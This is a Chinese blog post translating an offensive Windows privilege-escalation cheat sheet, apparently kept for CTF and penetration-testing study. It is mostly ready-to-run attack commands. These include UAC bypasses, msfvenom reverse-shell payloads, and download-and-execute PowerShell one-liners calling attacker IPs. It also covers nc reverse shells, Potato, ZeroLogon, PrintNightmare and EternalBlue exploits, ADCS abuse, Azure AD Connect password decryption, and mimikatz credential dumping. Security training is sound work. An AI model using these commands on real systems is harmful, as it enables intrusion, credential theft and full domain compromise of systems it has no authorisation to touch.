笔记说明: 该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。
PrivilageEsc Windows 👑 检查列表:https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation
点击这里了解更多!有效负载AllTheThings
01.常见技巧 01.1 UAC绕过
DLL劫持UAC绕过 。 (SystemPropertiesAdvanced.exe) 单击此处 了解更多信息!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 IWR http://10.10 .14.38 /sigcheck64.exe -outfile sigcheck.exe .\sigcheck.exe -accepteula -m C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe | findstr autoElevate https://docs.h4rithd.com/tools/shells-payloads copy srrstr.dll C:\Users\<USER>\appdata\local\microsoft\windowsapps\srrstr.dll cmd /c C:\Windows\SysWow64\SystemPropertiesAdvanced.exe meterpreter > ps -S explorer meterpreter > migrate <PID> meterpreter > shell cmd /c C:\Windows\SysWow64\SystemPropertiesAdvanced.exe
01.2 如有以下用户权限,即可提权
AlwaysInstallElevated
查看 - MSI 安装提权漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<PORT> -f msi > pw3n.msi msfvenom -p windows/x64/exec CMD="cmd /c powershell iex(new-object net.webclient).downloadstring('http://10.14.14.7/shell.ps1')" -f msi > pw3n.msi msiexec /quiet /qn /i pw3n.msi
如果我们在LOCAL SERVICE
或NETWORK SERVICE
1 2 3 4 5 6 7 8 whoami /allwget https://github.com/itm4n/FullPowers/releases/download/v0.1 /FullPowers.exe .\FullPowers.exe
SeBackupPrivilege
并SeRestorePrivilege
有?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 whoami /all | findstr "SeBackupPrivilege SeRestorePrivilege" reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAMset verbose onset metadata C:\Windows\Temp\meta.cabset context clientaccessibleset context persistentbegin backup add volume C: alias cdrive create expose %cdrive% E:end backup unix2dos script.txt diskshadow.exe /s script.txtls E: robocopy /B E:\Windows\ntds\ .\ ntds.dit dd if =/dev/zero of=ntfs.disk bs=320 M count=2 losetup -fP ntfs.disk losetup -a mkfs.ntfs /dev/loop0mount /dev/loop0 ./echo y | wbadmin start backup -backuptarget :\\10.10 .14.22 \share\ -include :c:\windows\ntds\ntds.dit
如果你有SeLoadDriverPrivilege
?
1 2 3 4 5 6 7 8 9 10 11 wget https://github.com/FuzzySecurity/Capcom-Rootkit /raw/master/Driver/Capcom.syswget https://raw.githubusercontent.com/h4rithd/Precompiled-Binaries /main/Capcom/EoPLoadDriver.exe wget https://raw.githubusercontent.com/h4rithd/Precompiled-Binaries /main/Capcom/ExploitCapcom.exe msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > h4rithd.exe copy h4rithd.exe C:\Windows\Temp\h4rithd.exe .\ExploitCapcom.exe
1 2 3 4 5 6 7 8 9 10 11 msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll > h4rithd.dll impacket-smbserver share ./ dnscmd.exe 127.0 .0.1 /config /serverlevelplugindll \\<IP>\<Path-To-Dll-File > sc.exe stop dns sc.exe start dns
1 2 3 4 5 Get-ADUser jorden | Set-ADAccountControl -DoesNotRequirePreAuth $true impacket-GetNPUsers htb.local/jorden -dc-ip 192.168 .3.203 -no-pass
1 2 3 4 5 6 7 8 sc.exe sc.exe config UsoSVC binpath= "\" c:\windows\system32\cmd.exe /c powershell C:\\Windows\\system32\\spool\\drivers\\color\\rev.ps1\"" sc.exe stop UsoSVC sc.exe config UsoSVC start =auto sc.exe start UsoSVC
1 2 3 4 5 6 7 8 sudo responder -i tun0 sqlcmd -Q "xp_dirtree \\YourIP\test" hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 https://blog.xpnsec.com/azuread-connect -for-redteam /$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=localhost;Integrated Security=true;Initial Catalog=ADSync" $client .Open()$cmd = $client .CreateCommand()$cmd .CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd .ExecuteReader()$reader .Read() | Out-Null $key_id = $reader .GetInt32(0 )$instance_id = $reader .GetGuid(1 )$entropy = $reader .GetGuid(2 )$reader .Close()$cmd = $client .CreateCommand()$cmd .CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd .ExecuteReader()$reader .Read() | Out-Null $config = $reader .GetString(0 )$crypted = $reader .GetString(1 )$reader .Close()add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager$km .LoadKeySet($entropy , $instance_id , $key_id )$key = $null $km .GetActiveCredentialKey([ref ]$key )$key2 = $null $km .GetKey(1 , [ref ]$key2 )$decrypted = $null $key2 .DecryptBase64ToString($crypted , [ref ]$decrypted )$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @ {Name = 'Domain' ; Expression = {$_ .node.InnerXML}}$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @ {Name = 'Username' ; Expression = {$_ .node.InnerXML}}$password = select-xml -Content $decrypted -XPath "//attribute" | select @ {Name = 'Password' ; Expression = {$_ .node.InnerText}}Write-Host ("Domain: " + $domain .Domain)Write-Host ("Username: " + $username .Username)Write-Host ("Password: " + $password .Password)
如果您是团体成员Event Log Readers
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget https://raw.githubusercontent.com/RamblingCookieMonster/PowerShell/master/Get-WinEventData .ps1 IEX (New-Object Net.WebClient).downloadString('http://10.10.14.25/Get-WinEventData.ps1' )Get-WinEvent -LogName system -max 1 | Get-WinEventData | Select -Property MachineName, TimeCreated, e_* Get-WinEvent -ComputerName DomainController1 -FilterHashtable @ {Logname='security' ;id=4740 } -MaxEvents 10 | Get-WinEventData | Select TimeCreated, e_TargetUserName, e_TargetDomainName Get-WinEvent -FilterHashtable @ {Logname='security' ;id=4688 } | Get-WinEventData | Select TimeCreated,MachineName,e_CommandLine | ft -autosize -wrap https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
1 2 3 4 5 6 7 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/SharpWSUS/SharpWSUS.exewget https://github.com/h4rithd/PrecompiledBinaries/raw/main/PsExec64/PsExec64.exe -O psexec.exe .\SharpWSUS.exe create /payload:"C:\Users\sflowers\Documents\psexec.exe" /args:"-accepteula -s -d -accepteula -s -d C:\\Users\\sflowers\\Documents\\nc.exe -e cmd 10.10.14.4 4545" /title:"LocalUpdate" .\SharpWSUS.exe approve /updateid:<ID> /computername:<HOSTNAME.DOMAIN> /groupname:"LocalUpdate" .\SharpWSUS.exe check /updateid:<ID> /computername:<HOSTNAME.DOMAIN>
如果您是团体成员Administrators
,但仍被困住?
1 2 3 4 5 6 7 net localgroup Administrators net use h : \\127.0 .0.1 \c$ h :dir
1 2 3 4 5 Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd , ms-Mcs-AdmPwdExpirationTime Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd , ms-Mcs-AdmPwdExpirationTime $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd , ms-Mcs-AdmPwdExpirationTime $computers | Export-Csv -path c:\windows\temp\laps.csv" -NoTypeInformation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tasklist /v msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > h4rithd.exe sudo msfdb run use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST tun0set LPORT <PORT> run meterpreter > ps migrate <PID>
01.3 服务/注册表漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 .\winPEASany.exe quiet servicesinfoGet-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_ .State -like 'Running' } | findstr "Program" icacls "C:\Program Files\...\<PATH>\..\pro.exe" .\accesschk.exe /accepteula -uwcqv "Authenticated Users" * .\accesschk.exe /accepteula -uwcqv user <service_name> accesschk.exe /accepteula -ucqv <ServiceName>sc qc <service_name>sc query <service_name>sc config <service_name> binpath= "\" C:\Windows\Temp\shell.exe\"" net start <service_name> sc STOP <service_name>sc START <service_name> sc config <service_name> start = autosc config <service_name> depend= "" cmd wmic service where caption="<ServiceName> get name, caption, state, startmode ## 如果StartMode为Auto ## 检查我们是否有重新启动机器的特权 whoami /priv
1 2 3 4 5 6 7 8 9 10 11 12 .\accesschk.exe /accepteula -quvw "C:\<PATH>.exe" .\accesschk.exe /accepteula -uwcqv user <service_name> net start <service_name> sc STOP <service_name> sc START <service_name>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 C:\Program Files\One Folder\Two Folder\Executable.exe C:\Program.exe C:\Program Files\One.exe C:\Program Files\One Folder\Two.exe C:\Program Files\A Subfolder\Two Folder\Executable.exe wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v "'" .\accesschk.exe /accepteula -uwcqv user <service_name> .\accesschk.exe /accepteula -uwcqv -uwdq <path>move payload.exe "C:\Program Files\...\<SUB DIR>\<SUB>.exe" net start <service_name> sc STOP <service_name> sc START <service_name>
1 2 3 4 5 6 7 8 9 10 11 12 13 Get-Acl HKLM:\<ServicePath>\<ServiceName> | Format-List .\accesschk.exe /accepteula -uvwqk HKLM:\<ServicePath>\<ServiceName> .\accesschk.exe /accepteula -ucqv user <ServiceName> reg query HKLM:\<ServicePath>\<ServiceName> reg add HKLM:\<ServicePath>\<ServiceName> /v ImageaPath /t REG_EXPAND_SZ /d C:\Windows\Temp\shell.exe /f net start <service_name>
02.工具 1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\windows\sysnative\WindowsPowerShell\v1.0 \powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.26/PowerUp.ps1')" Import-Module ./PowerUp.ps1Invoke-AllChecks CurrentUserTokenGroupSid Get-RegistryAutoLogon cat PowerUp.ps1 | grep -Ei '^function' | grep '{$' | grep '-' | awk '{print $2}'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 wget https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1IEX (New-Object Net.WebClient).downloadString('http://10.10.14.26/PowerUpSQL.ps1' )Get-SQLInstanceLocal -Verbose Invoke-SQLUncPathInjection -Verbose Invoke-SQLImpersonateService -Verbose Invoke-SQLEscalatePriv -Verbose $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami" $Targets | Invoke-SQLOSPython -Verbose -Command "Whoami" $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20
02.3 Seatbelt.exe 1 2 Seatbelt.exe -group =all
02.4 秘密转储 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 impacket-secretsdump -sam SAM -system SYSTEM local impacket-secretsdump htb.local/h4rithd:'Passw0rD$' @10.10 .10.161 robocopy /B C:\Windows\ntds .\ntds ntds.dit impacket-secretsdump -sam SAMFILE -system SYSTEMFILE -ntds NTDS.DIT local impacket-secretsdump -system ntds.bin -ntds ntds.dit local
03.常见漏洞 1 2 3 4 5 6 7 8 9 10 wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20 /GodPotato-NET4 .exe -O GodPotato.exewget https://github.com/BeichenDream/GodPotato/releases/download/V1.20 /GodPotato-NET35 .exe -O GodPotato.exewget https://github.com/BeichenDream/GodPotato/releases/download/V1.20 /GodPotato-NET2 .exe -O GodPotato.exe .\GodPotato.exe -cmd "powershell -EncodedCommand SQBFAFgAKABOA.....ApAA=="
1 2 3 4 5 6 7 8 9 10 11 12 13 14 whoami /priv | findstr "Enabled" wget https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1 /JuicyPotatoNG.zip unzip JuicyPotatoNG.zipecho "powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==" > shell.battype C:\programdata\shell.bat .\JuicyPotatoNG.exe -t * -p <fullPath>\shell.bat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 whoami /priv | findstr "Enabled" echo START C:\<path>\nc.exe -e powershell.exe YourIP YourPort > sh3ll.bat cmd.exe /c powershell -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1' ) .\JuicyPotato.exe -z -l 100 .\JuicyPotato.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:\Users\Public\shell.bat -l 1337 .\JuicyPotato.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:\Users\Public\shell.exe -l 1337 -t 创建进程 call: <t> 使用令牌W创建进程, <u> 创建进程为用户, <*> 两者都试试 -p <program>: 要启动的程序-l <port>: COM server listen port-m <ip>: COM server listen address (default 127.0 .0.1 )-a <argument>: 要传递给程序的命令行参数 (default NULL)-k <ip>: RPC server ip address (default 127.0 .0.1 )-n <port>: RPC server listen port (default 135 )-c <{clsid}>: CLSID (default BITS:{4991 d34b-80a1-4291-83b6-3328366b9097 })-z 仅测试CLSID并打印令牌的用户
1 2 3 4 5 6 7 8 9 10 11 chisel server --reverse --port 1337 .\chisel64.exe client <MyIP>:1337 R :9999 :localhost:9999 sudo socat tcp-listen :135 ,reuseaddr,fork tcp:127.0 .0.1 :9999 .\RoguePotato.exe -r <MyIP> -e "powershell C:\Windows\Temp\rev.ps1" -l 9999 .\RoguePotato.exe -r <MyIP> -e "c:\windows\temp\h4rithd.exe" -l 9999
1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/MultiPotato/Multipotatox64.exe -O Multipotato.exe wget https://github.com/h4rithd/PrecompiledBinaries/blob/main/MultiPotato/Multipotatox86.exe -O Multipotato.exe .\MultiPotato.exe -t BindShell -p "pwned\pipe\spoolss" .\Multipotato.exe -t CreateUser .\Multipotato.exe -t CreateProcessAsUserW -p "pwned\pipe\spoolss" -e "C:\temp\stage2.exe"
03.4 PrintSpoofer (打印欺骗) 1 2 3 .\PrintSpoofer.exe -i -c "C:\\<PATH>\shell.exe"
1 2 3 4 5 6 7 8 9 10 git clone https://github.com/dirkjanm/CVE-2020-1472 .gitcd CVE-2020-1472 python3 cve-2020-1472-exploit .py MULTIMASTER 10.10 .10.179 impacket-secretsdump -just-dc -no-pass MULTIMASTER\$ @10.10 .10.179 impacket-psexec Administrator@10.10 .10.179 -hashes 69 cbf4a9b7415c9e1caf93d51d971be0:69 cbf4a9b7415c9e1caf93d51d971be0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 REG ADD HKCU\Software\Classes\ms-settings \shell\open\command REG ADD HKCU\Software\Classes\ms-settings \shell\open\command /v DelegateExecute /t REG_SZ REG ADD HKCU\Software\Classes\ms-settings \shell\open\command /d "cmd.exe /c powershell -EncodedCommand SQBF..dgZFS==" /f C:\Windows\System32\fodhelper.exe$program = "cmd.exe /c powershell -EncodedCommand SQBF..dgZFS==" New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
03.7 服务不安全文件权限 1 2 3 4 5 6 7 8 9 10 11 12 Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_ .State -like 'Running' } | findstr Serviio icacls "C:\Program Files\Serviio\bin\ServiioService.exe" move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe" move revshell.exe "C:\Program Files\Serviio\bin\ServiioService.exe" net stop Serviio wmic service where caption="Serviio" get name, caption, state,startmode whoami /priv | findstr SeShutdownPrivilege shutdown /r /t 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 impacket-rpcdump @ <IP> | grep -A2 -B2 MS-RPRN wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675 /main/CVE-2021-1675 .ps1Import-Module .\CVE-2021-1675 .ps1Invoke-Nightmare evil-winrm -i <IP> -u <USERNAME> -p <PASSWORD> -s $ (pwd ) CVE-2021-1675 .ps1 menuInvoke-Nightmare impacket-psexec adm1n:'P@ssw0rd' @ <IP>
03.9 永恒之蓝 (MS17-010) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 nmap -sV -Pn -p 445 --script smb-vuln-ms17-010 $IP git clone https://github.com/helviojunior/MS17-010 .git && cd MS17-010 virtualenv -p python2 venv source venv/bin/activate pip2 install impacket pycrypto python checker.py <IP> msfvenom -p windows/shell_reverse_tcp LHOST=<YourIP> LPORT=4545 -f exe > rev.exe python send_and_execute.py <IP> rev.exe service_exec(conn, r 'cmd /c net user h4rithd Password123 /add' ) service_exec(conn, r 'cmd /c net localgroup administrators h4rithd /add' ) python zzz_exploit.py <IP>
03.10 证书模板配置错误 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 sudo apt install certipy-ad certipy-ad find -u <USER> -p <Password> -dc-ip <IP> certipy-ad find -u <USER>@ <DOMAIN> -p <Password> -dc-ip <IP> certipy-ad req '<USER>@<DOMAIN>:<Password>@<IP>' -ca '<CA Name>' -template '<Template Name>' -alt 'administrator@<Domain>' certipy-ad auth -pfx administrator.pfx -dc-ip <IP> -username Administrator -domain <Domain> impacket-psexec administrator@ <IP> -hashes <HASH>:<HASH>wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Certify/Certify.exe ./certify.exe find /vulnerable ./certify.exe request /ca:<CA Name> /template:<Template Name> /altname:Administrator openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ./certify.exe find /vulnerable impacket-addcomputer <Domain>/<Username>:'<Password>!' -computer-name 'HD$' -computer-pass 'Password123!' ntpdate -s <IP> certipy-ad req -u 'HD$' -p 'Password123!' -ca <CA Name> -target <Domain> -template <Template Name> -upn administrator@ <Domain> -dns <Domain> -dc-ip <IP> certipy-ad cert -pfx administrator_authority.pfx -nokey -out user.crt certipy-ad cert -pfx administrator_authority.pfx -nocert -out user.keywget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/main/Python/passthecert.py python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain <Domain> -dc-ip $IP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 git clone https://github.com/bitsadmin/wesng.gitcd wesng chmod +x wes.py ./wes.py --update ./wes.py -u ./wes.py --update-wes ./wes.py systeminfo.txt ./wes.py systeminfo.txt qfe.txt ./wes.py systeminfo.txt --output vulns.csv ./wes.py systeminfo.txt -o vulns.csv ./wes.py systeminfo.txt --patches KB4345421 KB4487017 ./wes.py systeminfo.txt -p KB4345421 KB4487017 ./wes.py systeminfo.txt --usekbdate ./wes.py systeminfo.txt -d ./wes.py systeminfo.txt --definitions C:\tmp\mydefs.zip ./wes.py systeminfo.txt --exploits-only --hide "Internet Explorer" Edge Flash ./wes.py systeminfo.txt -e --hide "Internet Explorer" Edge Flash ./wes.py systeminfo.txt --impact "Remote Code Execution" ./wes.py systeminfo.txt -i "Remote Code Execution" ./wes.py systeminfo.txt --severity critical ./wes.py systeminfo.txt -s critical ./wes.py systeminfo.txt --muc-lookup
03.11 Windows 内核漏洞利用 从以下位置下载所有二进制文件: https://github.com/SecWiki/windows-kernel-exploits
Microsoft Windows - 本地权限升级 (MS15-051) 1 wget https://github.com/SecWiki/windows-kernel-exploits /raw/master/MS15-051 /MS15-051-KB3045171 .zip
USBPcap
空指针取消引用权限升级 (CVE-2017-6178)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 driverquery /v | findstr USBPcap.systype "C:\Program Files\USBPcap\USBPcap.inf" curl -o exploit.c https://www.exploit-db .com/raw/41542 gcc.exe -c exploit.exe exploit.c ./exploit.exe
更多命令可以在这里使用!
ntlm
使用转储所有用户的哈希值lsass
1 2 3 4 5 6 .\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit" >> mimikatz-sam .out .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> mimikatz-logonpasswords .out pip3 install pypykatz pypykatz lsa minidump lsass.DMP --json
1 .\mimikatz.exe "lsadump::setntlm /user:USERNAME /ntlm:NTLMHASH" "exit"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 cipher /c c:\users\file.txt | Select-String "Certificate thumbprint" dir C:\Users\<UserName>\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\ | Select Name .\mimikatz.exe "crypto::system /file:C:\Users\<UserName>\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\<Certificate_Thumbprint> /export" "exit" gci C:\Users\tolu\AppData\Roaming\Microsoft\protect\gci -hidden C:\Users\tolu\AppData\Roaming\Microsoft\protect\<SID_VALUE>\ .\mimikatz.exe "dpapi::masterkey /in:C:\Users\<UserName>\AppData\Roaming\Microsoft\protect\<SID_VALUE>\<FileName> /password:<UserPassword>" "exit" gci C:\Users\<UserName>\AppData\Roaming\Microsoft\Crypto\RSA\gci C:\Users\<UserName>\AppData\Roaming\Microsoft\Crypto\RSA\<SID_VALUE>\ .\mimikatz.exe "dpapi::capi /in:C:\Users\<UserName>\AppData\Roaming\Microsoft\Crypto\RSA\<SID_VALUE\<FILE> /masterkey:<SHA-1>" "exit" openssl x509 -inform DER -outform PEM -in *.der -out public.pem openssl rsa -inform PVK -outform PEM -in *.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:<NewPassword> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx certutil -user -p <NewPassword> -importpfx cert.pfx NoChain,NoRoottype "c:\users\file.txt"
05.检查提醒清单 目录
清单
枚举工具 对于枚举,首先使用WinPEAS。尽量避免考试时 PowerUp!但如果使用,请确保不要使用任何自动利用脚本!
powerup 首先加载脚本:Import-Module ./PowerUp.ps1
然后运行所有检查:Invoke-AllChecks
SharpUp .\SharpUp.exe
Seatbelt 来源:https://github.com/GhostPack/Seatbelt 预编译:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe
运行所有检查:.\Seatbelt.exe all
或单独检查:.\Seatbelt.exe <check> <check> <...>
winPEAS 第一次运行reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
所有(快速)检查:.\winPEASany.exe quiet cmd fast
具体类别:.\winPEASany.exe quiet cmd systeminfo
访问检查 即将推出…
内核漏洞 工具 WES(Windows 漏洞利用建议器):https://github.com/bitsadmin/wesng 预编译漏洞:https://github.com/SecWiki/windows-kernel-exploits Watson:https://github.com/rasta-鼠标/沃森
权限提升示例(Win7)
在 Windows 机器上,运行:
1 systeminfo > \\my.kali.ip.here\SHARE\systeminfo.txt
然后在 Kali 上,您可以在 systeminfo.txt 上运行 wesng
1 python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
与 SecWiki 上已编译的漏洞交叉引用结果
从 msfvenom 运行反向 shell 有效负载作为已编译漏洞的参数。
服务漏洞 服务命令 查询服务:sc.exe qc <name>
查询服务的状态:sc.exe query <name>
修改服务的配置选项:sc.exe config <name> <option>=<value>
启动/停止服务:net start/stop <name>
可能的配置错误
不安全的服务属性
不带引号的服务路径
注册表权限较弱
不安全的服务可执行文件
DLL劫持
不安全的服务属性/权限 危险权限:SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
有用权限:SERVICE_STOP, SERVICE_START
注意:如果您可以更改服务配置,但无法停止/启动服务,则您可能无法使用 PrivEsc!
PrivEsc 示例
使用 winPEAS 检查:.\winPEASany.exe quiet servicesinfo
使用 AccessChk 确认结果:.\accesschk.exe /accepteula -uwcqv user <name>
检查配置:sc qc <name>
检查状态:sc query <name>
重新配置路径:sc config <name> binpath="\"C:\PrivEsc\reverse.exe"\"
启动监听器
启动/重新启动服务:net start <name>
不带引号的服务路径 不带引号的路径(例如):C:\Program Files\Some Dir\SomeProgram.exe
可能的路径:
C:\Program.exe
C:\Program Files\Some.exe
检查所有潜在的写入权限:
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Some Dir\"
将 rev shell 复制到可写目录。然后net start <name>
弱注册表权限 需要:SERVICE_START
可以允许您将服务间接修改为 PrivEsc
检查服务配置是否错误:.\winPEASany.exe quiet servicesinfo
使用以下方法之一确认配置错误:
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\<name> | Format-List
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<name>
覆盖注册表键值以指向我们自己的 rev shell:
1 reg add HKLM\SYSTEM\CurrentControlSet\services\<name> /v ImagePath /t REG_EXPAND_SZ /d C:\path /f
启动服务:net start <name>
不安全的服务可执行文件 需要:SERVICE_START
如果我们有写入权限,请交换服务可执行文件。
检查漏洞:.\winPEASany.exe quiet servicesinfo
使用 accesschk 验证:.\accesschk.exe /accepteula -quvw "C:\Program Files\Service Path\service.exe"
备份服务exe:copy "C:\Program Files\Service Path\service.exe" C:\Temp
用我们的 revshell 覆盖:copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Service Path\service.exe"
在 Kali 上启动监听器
启动服务:net start <name>
DLL劫持 需要:SERVICE_START/STOP
(可能需要管理员权限,请查看 PDF 以了解如何执行的详细信息)
registry 自动运行 注意:这只能以 Win 10 中最后登录用户的权限运行!所以你首先需要管理员信用(使其不太可靠)
检查可写的 AutoRun exe
.\winPEASany.exe quiet applicationsinfo
或者手动:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
使用 accesschk 验证每个条目: .\accesschk.exe /accepteula -wvu "C:\Program Files\<path to program>\program.exe"
如果可写,则创建备份:copy "C:\Program Files\<path to program>\program.exe" C:\temp
复制revshell exe:copy /Y C:\temp\revshell.exe "C:\Program Files\<path to program>\program.exe"
启动 revshell 侦听器并重新启动盒子
始终安装提升 需要:AlwaysInstallElevated 注册表项
验证所需条目均设置为 1
使用 winPEAS:.\winPEASany.exe quiet windowscreds
手动:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
创建一个 msfvenom revshell:msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f msi -o revshell.msi
将msi文件复制到目标并启动监听器
启动安装程序:msiexec /quiet /qn /i C:\temp\revshell.msi
密码 注册表搜索 慢速方式(扫描整个注册表):
1 2 > reg query HKLM /f password /t REG_SZ /s > reg query HKCU /f password /t REG_SZ /s
更快的方法:
使用 winpeas 检查常见位置:.\winPEASany.exe quiet filesinfo userinfo
使用注册表查询进行验证
如果验证通过,我们可以使用 winexe 生成 shell:winexe -U 'user%password' //the.targets.ip.here cmd.exe
保存的凭证
使用 winPEAS 检查已保存的信用:.\winPEASany.exe quiet cmd windowscreds
验证:cmdkey /list
然后我们可以使用保存的凭据以用户身份运行任何命令:runas /savecred /user:admin C:\temp\revshell.exe
配置文件 注意:Unattend.xml 可能是一个有用的文件!
搜索配置文件(包含单词 pass 或以 .config 结尾):dir /s *pass* == *.config
搜索包含密码一词的文件:findstr /si password *.xml *.ini *.txt
您还可以使用 winPEAS 查找类似的文件:.\winPEASany.exe quiet cmd searchfast filesinfo
任何像这样找到的凭据都可能被 winexe 滥用:winexe -U 'user%password' //the.targets.ip.here cmd.exe
SAM SAM 和 SYSTEM 文件转储。检查C:\Windows\Repair
或中是否有篮子C:\Windows\System32\config\RegBack
使用 creddump、pwdump 或 samdump 转储密码哈希值。使用 john 或 hashcat 进行破解。
传递哈希值 您可以使用 pth-winexe 传递哈希值,而不是破解转储的哈希值:
pth-winexe -U 'admin%HASH_HERE' //the.targets.ip.here cmd.exe
您还可以添加--system
管理哈希来生成 SYSTEM shell。
计划任务 要列出所有计划任务,您可以看到:schtasks /query /fo LIST /v
Powershell:Get-ScheduledTask| where {$_.TaskPath-notlike"\Microsoft*"} | ft TaskName,TaskPath,State
